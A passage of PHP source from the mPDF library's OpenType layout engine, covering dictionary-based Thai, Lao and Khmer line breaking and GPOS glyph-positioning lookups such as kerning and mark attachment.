($this->OTLdata[$ptr + 1]['uni'] == 0x0F0D || $this->OTLdata[$ptr + 1]['uni'] == 0xF0E)) { continue; } // Set end of word marker in OTLdata at matchpos $this->OTLdata[$ptr]['wordend'] = true; } } } /** * South East Asian Linebreaking (Thai, Khmer and Lao) using dictionary of words * * Sets $this->OTLdata[$i]['wordend']=true at possible end of word boundaries */ private function seaLineBreaking() { // Load Line-breaking dictionary if (!isset($this->lbdicts[$this->shaper]) && file_exists(__DIR__ . '/../data/linebrdict' . $this->shaper . '.dat')) { $this->lbdicts[$this->shaper] = file_get_contents(__DIR__ . '/../data/linebrdict' . $this->shaper . '.dat'); } $dict = &$this->lbdicts[$this->shaper]; // Find all word boundaries and mark end of word $this->OTLdata[$i]['wordend']=true on last character // If Thai, allow for possible suffixes (not in Lao or Khmer) // repeater/ellision characters // (0x0E2F); // Ellision character THAI_PAIYANNOI 0x0E2F UTF-8 0xE0 0xB8 0xAF // (0x0E46); // Repeat character THAI_MAIYAMOK 0x0E46 UTF-8 0xE0 0xB9 0x86 // (0x0EC6); // Repeat character LAO UTF-8 0xE0 0xBB 0x86 $rollover = []; $ptr = 0; while ($ptr < count($this->OTLdata) - 3) { if (count($rollover)) { $matches = $rollover; $rollover = []; } else { $matches = $this->checkwordmatch($dict, $ptr); } if (count($matches) == 1) { $matchpos = $matches[0]; // Check for repeaters - if so $matchpos++ if (isset($this->OTLdata[$matchpos + 1]['uni']) && ($this->OTLdata[$matchpos + 1]['uni'] == 0x0E2F || $this->OTLdata[$matchpos + 1]['uni'] == 0x0E46 || $this->OTLdata[$matchpos + 1]['uni'] == 0x0EC6)) { $matchpos++; } // Set end of word marker in OTLdata at matchpos $this->OTLdata[$matchpos]['wordend'] = true; $ptr = $matchpos + 1; } elseif (empty($matches)) { $ptr++; // Move past any ASCII characters while (isset($this->OTLdata[$ptr]['uni']) && ($this->OTLdata[$ptr]['uni'] >> 8) == 0) { $ptr++; } } else { // Multiple matches $secondmatch = false; for ($m = count($matches) - 1; $m >= 0; $m--) { //for ($m=0;$m<count($matches);$m++) { $firstmatch = $matches[$m]; $matches2 = $this->checkwordmatch($dict, $firstmatch + 1); if (count($matches2)) { // Set end of word marker in OTLdata at matchpos $this->OTLdata[$firstmatch]['wordend'] = true; $ptr = $firstmatch + 1; $rollover = $matches2; $secondmatch = true; break; } } if (!$secondmatch) { // Set end of word marker in OTLdata at end of longest first match $this->OTLdata[$matches[count($matches) - 1]]['wordend'] = true; $ptr = $matches[count($matches) - 1] + 1; // Move past any ASCII characters while (isset($this->OTLdata[$ptr]['uni']) && ($this->OTLdata[$ptr]['uni'] >> 8) == 0) { $ptr++; } } } } } private function checkwordmatch(&$dict, $ptr) { /* Node type: Split. Divide at < 98 >= 98 Offset for >= 98 == 79 (long 4-byte unsigned) Node type: Linear match. Char = 97 Intermediate match Final match */ $dictptr = 0; $ok = true; $matches = []; while ($ok) { $x = ord($dict[$dictptr]); $c = $this->OTLdata[$ptr]['uni'] & 0xFF; if ($x == static::_DICT_INTERMEDIATE_MATCH) { //echo "DICT_INTERMEDIATE_MATCH: ".dechex($c).'<br />'; // Do not match if next character in text is a Mark if (isset($this->OTLdata[$ptr]['uni']) && strpos($this->GlyphClassMarks, $this->OTLdata[$ptr]['hex']) === false) { $matches[] = $ptr - 1; } $dictptr++; } elseif ($x == static::_DICT_FINAL_MATCH) { //echo "DICT_FINAL_MATCH: ".dechex($c).'<br />'; // Do not match if next character in text is a Mark if (isset($this->OTLdata[$ptr]['uni']) && strpos($this->GlyphClassMarks, $this->OTLdata[$ptr]['hex']) === false) { $matches[] = $ptr - 1; } return $matches; } elseif ($x == static::_DICT_NODE_TYPE_LINEAR) { //echo "DICT_NODE_TYPE_LINEAR: ".dechex($c).'<br />'; $dictptr++; $m = ord($dict[$dictptr]); if ($c == $m) { $ptr++; if ($ptr > count($this->OTLdata) - 1) { $next = ord($dict[$dictptr + 1]); if ($next == static::_DICT_INTERMEDIATE_MATCH || $next == static::_DICT_FINAL_MATCH) { // Do not match if next character in text is a Mark if (isset($this->OTLdata[$ptr]['uni']) && strpos($this->GlyphClassMarks, $this->OTLdata[$ptr]['hex']) === false) { $matches[] = $ptr - 1; } } return $matches; } $dictptr++; continue; } else { //echo "DICT_NODE_TYPE_LINEAR NOT: ".dechex($c).'<br />'; return $matches; } } elseif ($x == static::_DICT_NODE_TYPE_SPLIT) { //echo "DICT_NODE_TYPE_SPLIT ON ".dechex($d).": ".dechex($c).'<br />'; $dictptr++; $d = ord($dict[$dictptr]); if ($c < $d) { $dictptr += 5; } else { $dictptr++; // Unsigned long 32-bit offset $offset = (ord($dict[$dictptr]) * 16777216) + (ord($dict[$dictptr + 1]) << 16) + (ord($dict[$dictptr + 2]) << 8) + ord($dict[$dictptr + 3]); $dictptr = $offset; } } else { //echo "PROBLEM: ".($x).'<br />'; $ok = false; // Something has gone wrong } } return $matches; } //////////////////////////////////////////////////////////////// ////////// GPOS /////////////////////////////////////// //////////////////////////////////////////////////////////////// private function _applyGPOSrules($LookupList, $is_old_spec = false) { foreach ($LookupList as $lu => $tag) { $Type = $this->GPOSLookups[$lu]['Type']; $Flag = $this->GPOSLookups[$lu]['Flag']; $MarkFilteringSet = ''; if (isset($this->GPOSLookups[$lu]['MarkFilteringSet'])) { $MarkFilteringSet = $this->GPOSLookups[$lu]['MarkFilteringSet']; } $ptr = 0; // Test each glyph sequentially while ($ptr < (count($this->OTLdata))) { // whilst there is another glyph ..0064 $currGlyph = $this->OTLdata[$ptr]['hex']; $currGID = $this->OTLdata[$ptr]['uni']; $shift = 1; foreach ($this->GPOSLookups[$lu]['Subtables'] as $c => $subtable_offset) { // NB Coverage only looks at glyphs for position 1 (esp. 7.3 and 8.3) if (isset($this->LuCoverage[$lu][$c][$currGID])) { // Get rules from font GPOS subtable if (isset($this->OTLdata[$ptr]['bidi_type'])) { // No need to check bidi_type - just a check that it exists $shift = $this->_applyGPOSsubtable($lu, $c, $ptr, $currGlyph, $currGID, ($subtable_offset - $this->GPOS_offset + $this->GSUB_length), $Type, $Flag, $MarkFilteringSet, $this->LuCoverage[$lu][$c], $tag, 0, $is_old_spec); if ($shift) { break; } } } } if ($shift == 0) { $shift = 1; } $ptr += $shift; } } } ////////////////////////////////////////////////////////////////////////////////// // GPOS Types // Lookup Type 1: Single Adjustment Positioning Subtable Adjust position of a single glyph // Lookup Type 2: Pair Adjustment Positioning Subtable Adjust position of a pair of glyphs // Lookup Type 3: Cursive Attachment Positioning Subtable Attach cursive glyphs // Lookup Type 4: MarkToBase Attachment Positioning Subtable Attach a combining mark to a base glyph // Lookup Type 5: MarkToLigature Attachment Positioning Subtable Attach a combining mark to a ligature // Lookup Type 6: MarkToMark Attachment Positioning Subtable Attach a combining mark to another mark // Lookup Type 7: Contextual Positioning Subtables Position one or more glyphs in context // Lookup Type 8: Chaining Contextual Positioning Subtable Position one or more glyphs in chained context // Lookup Type 9: Extension positioning ////////////////////////////////////////////////////////////////////////////////// private function _applyGPOSvaluerecord($basepos, $Value) { // If current glyph is a mark with a defined width, any XAdvance is considered to REPLACE the character Advance Width // Test case <div style="font-family:myanmartext">င်္က္ကျြွေိ</div> if (strpos($this->GlyphClassMarks, $this->OTLdata[$basepos]['hex']) !== false) { $cw = round($this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$basepos]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000); // convert back to font design units } else { $cw = 0; } $apos = $this->_getXAdvancePos($basepos); if (isset($Value['XAdvance']) && ($Value['XAdvance'] - $cw) != 0) { // However DON'T REPLACE the character Advance Width if Advance Width is negative // Test case <div style="font-family: dejavusansmono">ру́сский</div> if ($Value['XAdvance'] < 0) { $cw = 0; } // For LTR apply XAdvanceL to the last mark following the base = at $apos // For RTL apply XAdvanceR to base = at $basepos if (isset($this->OTLdata[$apos]['GPOSinfo']['XAdvanceL'])) { $this->OTLdata[$apos]['GPOSinfo']['XAdvanceL'] += $Value['XAdvance'] - $cw; } else { $this->OTLdata[$apos]['GPOSinfo']['XAdvanceL'] = $Value['XAdvance'] - $cw; } if (isset($this->OTLdata[$basepos]['GPOSinfo']['XAdvanceR'])) { $this->OTLdata[$basepos]['GPOSinfo']['XAdvanceR'] += $Value['XAdvance'] - $cw; } else { $this->OTLdata[$basepos]['GPOSinfo']['XAdvanceR'] = $Value['XAdvance'] - $cw; } } // Any XPlacement (? and Y Placement) apply to base and marks (from basepos to apos) for ($a = $basepos; $a <= $apos; $a++) { if (isset($Value['XPlacement'])) { if (isset($this->OTLdata[$a]['GPOSinfo']['XPlacement'])) { $this->OTLdata[$a]['GPOSinfo']['XPlacement'] += $Value['XPlacement']; } else { $this->OTLdata[$a]['GPOSinfo']['XPlacement'] = $Value['XPlacement']; } } if (isset($Value['YPlacement'])) { if (isset($this->OTLdata[$a]['GPOSinfo']['YPlacement'])) { $this->OTLdata[$a]['GPOSinfo']['YPlacement'] += $Value['YPlacement']; } else { $this->OTLdata[$a]['GPOSinfo']['YPlacement'] = $Value['YPlacement']; } } } } // If XAdvance is aplied to $ptr - in order for PDF to position the Advance correctly need to place it on // the last of any Marks which immediately follow the current glyph private function _getXAdvancePos($pos) { // NB Not all fonts have all marks specified in GlyphClassMarks // If the current glyph is not a base (but a mark) then ignore this, and apply to the current position if (strpos($this->GlyphClassMarks, $this->OTLdata[$pos]['hex']) !== false) { return $pos; } while (isset($this->OTLdata[$pos + 1]['hex']) && strpos($this->GlyphClassMarks, $this->OTLdata[$pos + 1]['hex']) !== false) { $pos++; } return $pos; } private function _applyGPOSsubtable($lookupID, $subtable, $ptr, $currGlyph, $currGID, $subtable_offset, $Type, $Flag, $MarkFilteringSet, $LuCoverage, $tag, $level, $is_old_spec) { if (($Flag & 0x0001) == 1) { $dir = 'RTL'; } else { // only used for Type 3 $dir = 'LTR'; } $ignore = $this->_getGCOMignoreString($Flag, $MarkFilteringSet); // Lets start $this->seek($subtable_offset); $PosFormat = $this->read_ushort(); //////////////////////////////////////////////////////////////////////////////// // LookupType 1: Single adjustment Adjust position of a single glyph (e.g. SmallCaps/Sups/Subs) //////////////////////////////////////////////////////////////////////////////// if ($Type == 1) { //=========== // Format 1: //=========== if ($PosFormat == 1) { $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat = $this->read_ushort(); $Value = $this->_getValueRecord($ValueFormat); } //=========== // Format 2: //=========== elseif ($PosFormat == 2) { $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat = $this->read_ushort(); $ValueCount = $this->read_ushort(); $GlyphPos = $LuCoverage[$currGID]; $this->skip($GlyphPos * 2 * $this->count_bits($ValueFormat)); $Value = $this->_getValueRecord($ValueFormat); } $this->_applyGPOSvaluerecord($ptr, $Value); if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return 1; } //////////////////////////////////////////////////////////////////////////////// // LookupType 2: Pair adjustment Adjust position of a pair of glyphs (Kerning) //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 2) { $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat1 = $this->read_ushort(); $ValueFormat2 = $this->read_ushort(); $sizeOfPair = ( 2 * $this->count_bits($ValueFormat1) ) + ( 2 * $this->count_bits($ValueFormat2) ); //=========== // Format 1: //=========== if ($PosFormat == 1) { $PairSetCount = $this->read_ushort(); $PairSetOffset = []; for ($p = 0; $p < $PairSetCount; $p++) { $PairSetOffset[] = $subtable_offset + $this->read_ushort(); } for ($p = 0; $p < $PairSetCount; $p++) { if (isset($LuCoverage[$currGID]) && $LuCoverage[$currGID] == $p) { $this->seek($PairSetOffset[$p]); //PairSet table $PairValueCount = $this->read_ushort(); for ($pv = 0; $pv < $PairValueCount; $pv++) { //PairValueRecord $gid = $this->read_ushort(); $SecondGlyph = $this->glyphToChar($gid); $FirstGlyph = $this->OTLdata[$ptr]['uni']; $checkpos = $ptr; $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } if (isset($this->OTLdata[$checkpos]) && $this->OTLdata[$checkpos]['uni'] == $SecondGlyph) { $matchedpos = $checkpos; } else { $matchedpos = false; } if ($matchedpos !== false) { $Value1 = $this->_getValueRecord($ValueFormat1); $Value2 = $this->_getValueRecord($ValueFormat2); if ($ValueFormat1) { $this->_applyGPOSvaluerecord($ptr, $Value1); } if ($ValueFormat2) { $this->_applyGPOSvaluerecord($matchedpos, $Value2); if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return $matchedpos - $ptr + 1; } if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return $matchedpos - $ptr; } else { $this->skip($sizeOfPair); } } } } return 0; } //=========== // Format 2: //=========== elseif ($PosFormat == 2) { $ClassDef1 = $subtable_offset + $this->read_ushort(); $ClassDef2 = $subtable_offset + $this->read_ushort(); $Class1Count = $this->read_ushort(); $Class2Count = $this->read_ushort(); $sizeOfValueRecords = $Class1Count * $Class2Count * $sizeOfPair; //$this->skip($sizeOfValueRecords ); ???? NOT NEEDED // NB Class1Count includes Class 0 even though it is not defined by $ClassDef1 // i.e. Class1Count = 5; Class1 will contain array(indices 1-4); $Class1 = $this->_getClassDefinitionTable($ClassDef1); $Class2 = $this->_getClassDefinitionTable($ClassDef2); $FirstGlyph = $this->OTLdata[$ptr]['uni']; $checkpos = $ptr; $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } if (isset($this->OTLdata[$checkpos])) { $matchedpos = $checkpos; } else { return 0; } $SecondGlyph = $this->OTLdata[$matchedpos]['uni']; for ($i = 0; $i < $Class1Count; $i++) { if (isset($Class1[$i]) && count($Class1[$i])) { $FirstClassPos = array_search($FirstGlyph, $Class1[$i]); if ($FirstClassPos === false) { continue; } else { for ($j = 0; $j < $Class2Count; $j++) { if (isset($Class2[$j]) && count($Class2[$j])) { $SecondClassPos = array_search($SecondGlyph, $Class2[$j]); if ($SecondClassPos === false) { continue; } // Get ValueRecord[$i][$j] $offs = ($i * $Class2Count * $sizeOfPair) + ($j * $sizeOfPair); $this->seek($subtable_offset + 16 + $offs); $Value1 = $this->_getValueRecord($ValueFormat1); $Value2 = $this->_getValueRecord($ValueFormat2); if ($ValueFormat1) { $this->_applyGPOSvaluerecord($ptr, $Value1); } if ($ValueFormat2) { $this->_applyGPOSvaluerecord($matchedpos, $Value2); if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return $matchedpos - $ptr + 1; } if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return $matchedpos - $ptr; } } } } } return 0; } } //////////////////////////////////////////////////////////////////////////////// // LookupType 3: Cursive attachment Attach cursive glyphs //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 3) { $this->skip(4); // Need default XAdvance for glyph $pdfWidth = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], hexdec($currGlyph)); // DON'T convert back to design units $CPos = $LuCoverage[$currGID]; $this->skip($CPos * 4); $EntryAnchor = $this->read_ushort(); $ExitAnchor = $this->read_ushort(); if ($EntryAnchor != 0) { $EntryAnchor += $subtable_offset; list($x, $y) = $this->_getAnchorTable($EntryAnchor); if ($dir == 'RTL') { if (round($pdfWidth) == round($x * 1000 / $this->mpdf->CurrentFont['unitsPerEm'])) { $x = 0; } else { $x = $x - ($pdfWidth * $this->mpdf->CurrentFont['unitsPerEm'] / 1000); } } $this->Entry[$ptr] = ['X' => $x, 'Y' => $y, 'dir' => $dir]; } if ($ExitAnchor != 0) { $ExitAnchor += $subtable_offset; list($x, $y) = $this->_getAnchorTable($ExitAnchor); if ($dir == 'LTR') { if (round($pdfWidth) == round($x * 1000 / $this->mpdf->CurrentFont['unitsPerEm'])) { $x = 0; } else { $x = $x - ($pdfWidth * $this->mpdf->CurrentFont['unitsPerEm'] / 1000); } } $this->Exit[$ptr] = ['X' => $x, 'Y' => $y, 'dir' => $dir]; } if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return 1; } //////////////////////////////////////////////////////////////////////////////// // LookupType 4: MarkToBase attachment Attach a combining mark to a base glyph //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 4) { $MarkCoverage = $subtable_offset + $this->read_ushort(); //$MarkCoverage is already set in $LuCoverage 00065|00073 etc $BaseCoverage = $subtable_offset + $this->read_ushort(); $ClassCount = $this->read_ushort(); // Number of classes defined for marks = Number of mark glyphs in the MarkCoverage table $MarkArray = $subtable_offset + $this->read_ushort(); // Offset to MarkArray table $BaseArray = $subtable_offset + $this->read_ushort(); // Offset to BaseArray table $this->seek($BaseCoverage); $BaseGlyphs = implode('|', $this->_getCoverage()); $checkpos = $ptr; $checkpos--; // ZZZ93 // In Lohit-Kannada font (old-spec), rules specify a Type 4 GPOS to attach below-forms to base glyph // the repositioning does not happen in MS Word, and shouldn't happen comparing with other fonts // ?Why not // This Fix blocks the GPOS rule if the "mark" is not actually classified as a mark in the GlyphClasses of GDEF // but only in Indic old-spec. // Test cases: ನ್ನು and ಕ್ರೌ if ($this->shaper == 'I' && $is_old_spec && strpos($this->GlyphClassMarks, $this->OTLdata[$ptr]['hex']) === false) { return; } // "To identify the base glyph that combines with a mark, the text-processing client must look backward in the glyph string from the mark to the preceding base glyph." while (isset($this->OTLdata[$checkpos]) && strpos($this->GlyphClassMarks, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } if (isset($this->OTLdata[$checkpos]) && strpos($BaseGlyphs, $this->OTLdata[$checkpos]['hex']) !== false) { $matchedpos = $checkpos; } else { $matchedpos = false; } if ($matchedpos !== false) { // Get the relevant MarkRecord $MarkPos = $LuCoverage[$currGID]; $MarkRecord = $this->_getMarkRecord($MarkArray, $MarkPos); // e.g. Array ( [Class] => 0 [AnchorX] => -549 [AnchorY] => 1548 ) //Mark Class is = $MarkRecord['Class'] // Get the relevant BaseRecord $this->seek($BaseArray); $BaseCount = $this->read_ushort(); $BasePos = strpos($BaseGlyphs, $this->OTLdata[$matchedpos]['hex']) / 6; // Move to the BaseRecord we want $nSkip = (2 * $BasePos * $ClassCount ); $this->skip($nSkip); // Read BaseRecord we want for appropriate Class $nSkip = 2 * $MarkRecord['Class']; $this->skip($nSkip); $BaseRecordOffset = $BaseArray + $this->read_ushort(); list($x, $y) = $this->_getAnchorTable($BaseRecordOffset); $BaseRecord = ['AnchorX' => $x, 'AnchorY' => $y]; // e.g. Array ( [AnchorX] => 660 [AnchorY] => 1556 ) // Need default XAdvance for Base glyph $BaseWidth = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$matchedpos]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000; // convert back to font design units $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] = $BaseWidth; // And any intervening (ignored) characters if (($ptr - $matchedpos) > 1) { for ($i = $matchedpos + 1; $i < $ptr; $i++) { $BaseWidthExtra = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$i]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000; // convert back to font design units $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] += $BaseWidthExtra; } } // Align to previous Glyph by attachment - so need to add to previous placement values $prevXPlacement = (isset($this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement']) ? $this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement'] : 0); $prevYPlacement = (isset($this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement']) ? $this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement'] : 0); $this->OTLdata[$ptr]['GPOSinfo']['XPlacement'] = $prevXPlacement + $BaseRecord['AnchorX'] - $MarkRecord['AnchorX']; $this->OTLdata[$ptr]['GPOSinfo']['YPlacement'] = $prevYPlacement + $BaseRecord['AnchorY'] - $MarkRecord['AnchorY']; if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return 1; } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 5: MarkToLigature attachment Attach a combining mark to a ligature //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 5) { $MarkCoverage = $subtable_offset + $this->read_ushort(); //$MarkCoverage is already set in $LuCoverage 00065|00073 etc $LigatureCoverage = $subtable_offset + $this->read_ushort(); $ClassCount = $this->read_ushort(); // Number of classes defined for marks = Number of mark glyphs in the MarkCoverage table $MarkArray = $subtable_offset + $this->read_ushort(); // Offset to MarkArray table $LigatureArray = $subtable_offset + $this->read_ushort(); // Offset to LigatureArray table $this->seek($LigatureCoverage); $LigatureGlyphs = implode('|', $this->_getCoverage()); $checkpos = $ptr; $checkpos--; // "To position a combining mark using a MarkToLigature attachment subtable, the text-processing client must work backward from the mark to the preceding ligature glyph." while (isset($this->OTLdata[$checkpos]) && strpos($this->GlyphClassMarks, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } if (isset($this->OTLdata[$checkpos]) && strpos($LigatureGlyphs, $this->OTLdata[$checkpos]['hex']) !== false) { $matchedpos = $checkpos; } else { $matchedpos = false; } if ($matchedpos !== false) { // Get the relevant MarkRecord $MarkPos = $LuCoverage[$currGID]; $MarkRecord = $this->_getMarkRecord($MarkArray, $MarkPos); // e.g. Array ( [Class] => 0 [AnchorX] => -549 [AnchorY] => 1548 ) //Mark Class is = $MarkRecord['Class'] // Get the relevant LigatureRecord $this->seek($LigatureArray); $LigatureCount = $this->read_ushort(); $LigaturePos = strpos($LigatureGlyphs, $this->OTLdata[$matchedpos]['hex']) / 6; // Move to the LigatureAttach table Record we want $nSkip = (2 * $LigaturePos); $this->skip($nSkip); $LigatureAttachOffset = $LigatureArray + $this->read_ushort(); $this->seek($LigatureAttachOffset); $ComponentCount = $this->read_ushort(); $offsets = []; for ($comp = 0; $comp < $ComponentCount; $comp++) { // ComponentRecords for ($class = 0; $class < $ClassCount; $class++) { $offsets[$comp][$class] = $this->read_ushort(); } } // Get the specific component for this mark attachment if (isset($this->assocLigs[$matchedpos]) && isset($this->assocMarks[$ptr]['ligPos']) && $this->assocMarks[$ptr]['ligPos'] == $matchedpos) { $component = $this->assocMarks[$ptr]['compID']; } else { $component = $ComponentCount - 1; } $offset = $offsets[$component][$MarkRecord['Class']]; if ($offset != 0) { $LigatureRecordOffset = $offset + $LigatureAttachOffset; list($x, $y) = $this->_getAnchorTable($LigatureRecordOffset); $LigatureRecord = ['AnchorX' => $x, 'AnchorY' => $y]; // Need default XAdvance for Ligature glyph $LigatureWidth = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$matchedpos]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000; // convert back to font design units $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] = $LigatureWidth; // And any intervening (ignored)characters if (($ptr - $matchedpos) > 1) { for ($i = $matchedpos + 1; $i < $ptr; $i++) { $LigatureWidthExtra = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$i]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000; // convert back to font design units $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] += $LigatureWidthExtra; } } // Align to previous Ligature by attachment - so need to add to previous placement values if (isset($this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement'])) { $prevXPlacement = $this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement']; } else { $prevXPlacement = 0; } if (isset($this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement'])) { $prevYPlacement = $this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement']; } else { $prevYPlacement = 0; } $this->OTLdata[$ptr]['GPOSinfo']['XPlacement'] = $prevXPlacement + $LigatureRecord['AnchorX'] - $MarkRecord['AnchorX']; $this->OTLdata[$ptr]['GPOSinfo']['YPlacement'] = $prevYPlacement + $LigatureRecord['AnchorY'] - $MarkRecord['AnchorY']; if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return 1; } } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 6: MarkToMark attachment Attach a combining mark to another mark //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 6) { $Mark1Coverage = $subtable_offset + $this->read_ushort(); // Combining Mark //$Mark1Coverage is already set in $LuCoverage 0065|0073 etc $Mark2Coverage = $subtable_offset + $this->read_ushort(); // Base Mark $ClassCount = $this->read_ushort(); // Number of classes defined for marks = No. of Combining mark1 glyphs in the MarkCoverage table $Mark1Array = $subtable_offset + $this->read_ushort(); // Offset to MarkArray table $Mark2Array = $subtable_offset + $this->read_ushort(); // Offset to Mark2Array table $this->seek($Mark2Coverage); $Mark2Glyphs = implode('|', $this->_getCoverage()); $checkpos = $ptr; $checkpos--; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } if (isset($this->OTLdata[$checkpos]) && strpos($Mark2Glyphs, $this->OTLdata[$checkpos]['hex']) !== false) { $matchedpos = $checkpos; } else { $matchedpos = false; } if ($matchedpos !== false) { // Get the relevant MarkRecord $Mark1Pos = $LuCoverage[$currGID]; $Mark1Record = $this->_getMarkRecord($Mark1Array, $Mark1Pos); // e.g. Array ( [Class] => 0 [AnchorX] => -549 [AnchorY] => 1548 ) //Mark Class is = $Mark1Record['Class'] // Get the relevant Mark2Record $this->seek($Mark2Array); $Mark2Count = $this->read_ushort(); $Mark2Pos = strpos($Mark2Glyphs, $this->OTLdata[$matchedpos]['hex']) / 6; // Move to the Mark2Record we want $nSkip = (2 * $Mark2Pos * $ClassCount ); $this->skip($nSkip); // Read Mark2Record we want for appropriate Class $nSkip = 2 * $Mark1Record['Class']; $this->skip($nSkip); $Mark2RecordOffset = $Mark2Array + $this->read_ushort(); list($x, $y) = $this->_getAnchorTable($Mark2RecordOffset); $Mark2Record = ['AnchorX' => $x, 'AnchorY' => $y]; // e.g. Array ( [AnchorX] => 660 [AnchorY] => 1556 ) // Need default XAdvance for Mark2 glyph $Mark2Width = $this->mpdf->_getCharWidth($this->mpdf->CurrentFont['cw'], $this->OTLdata[$matchedpos]['uni']) * $this->mpdf->CurrentFont['unitsPerEm'] / 1000; // convert back to font design units // IF combining marks are set on different components of a ligature glyph, do not apply this rule // Test: arabictypesetting: إِلَىٰٓ // Test: arabictypesetting: بَّيْنَكُمْ $prevLig = -1; $thisLig = -1; $prevComp = -1; $thisComp = -1; if (isset($this->assocMarks[$matchedpos])) { $prevLig = $this->assocMarks[$matchedpos]['ligPos']; $prevComp = $this->assocMarks[$matchedpos]['compID']; } if (isset($this->assocMarks[$ptr])) { $thisLig = $this->assocMarks[$ptr]['ligPos']; $thisComp = $this->assocMarks[$ptr]['compID']; } // However IF Mark2 (first in logical order, i.e. being attached to) is not associated with a base, carry on // This happens in Indic when the Mark being attached to e.g. [Halant Ma lig] -> MatraU, [U+0B4D + U+B2E as E0F5]-> U+0B41 become E135 if (!defined("OMIT_OTL_FIX_1") || OMIT_OTL_FIX_1 != 1) { /* OTL_FIX_1 */ if (isset($this->assocMarks[$matchedpos]) && ($prevLig != $thisLig || $prevComp != $thisComp )) { return 0; } } else { /* Original code */ if ($prevLig != $thisLig || $prevComp != $thisComp) { return 0; } } if (!defined("OMIT_OTL_FIX_2") || OMIT_OTL_FIX_2 != 1) { /* OTL_FIX_2 */ if (!isset($this->OTLdata[$matchedpos]['GPOSinfo']['BaseWidth']) || !$this->OTLdata[$matchedpos]['GPOSinfo']['BaseWidth']) { $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] = $Mark2Width; } } // ZZZ99Q - Test Case font-family: garuda น้ำ if (isset($this->OTLdata[$matchedpos]['GPOSinfo']['BaseWidth']) && $this->OTLdata[$matchedpos]['GPOSinfo']['BaseWidth']) { $this->OTLdata[$ptr]['GPOSinfo']['BaseWidth'] = $this->OTLdata[$matchedpos]['GPOSinfo']['BaseWidth']; } // Align to previous Mark by attachment - so need to add the previous placement values $prevXPlacement = (isset($this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement']) ? $this->OTLdata[$matchedpos]['GPOSinfo']['XPlacement'] : 0); $prevYPlacement = (isset($this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement']) ? $this->OTLdata[$matchedpos]['GPOSinfo']['YPlacement'] : 0); $this->OTLdata[$ptr]['GPOSinfo']['XPlacement'] = $prevXPlacement + $Mark2Record['AnchorX'] - $Mark1Record['AnchorX']; $this->OTLdata[$ptr]['GPOSinfo']['YPlacement'] = $prevYPlacement + $Mark2Record['AnchorY'] - $Mark1Record['AnchorY']; if ($this->debugOTL) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } return 1; } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 7: Context positioning Position one or more glyphs in context //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 7) { //=========== // Format 1: //=========== if ($PosFormat == 1) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not TESTED YET."); } //=========== // Format 2: //=========== elseif ($PosFormat == 2) { $CoverageTableOffset = $subtable_offset + $this->read_ushort(); $InputClassDefOffset = $subtable_offset + $this->read_ushort(); 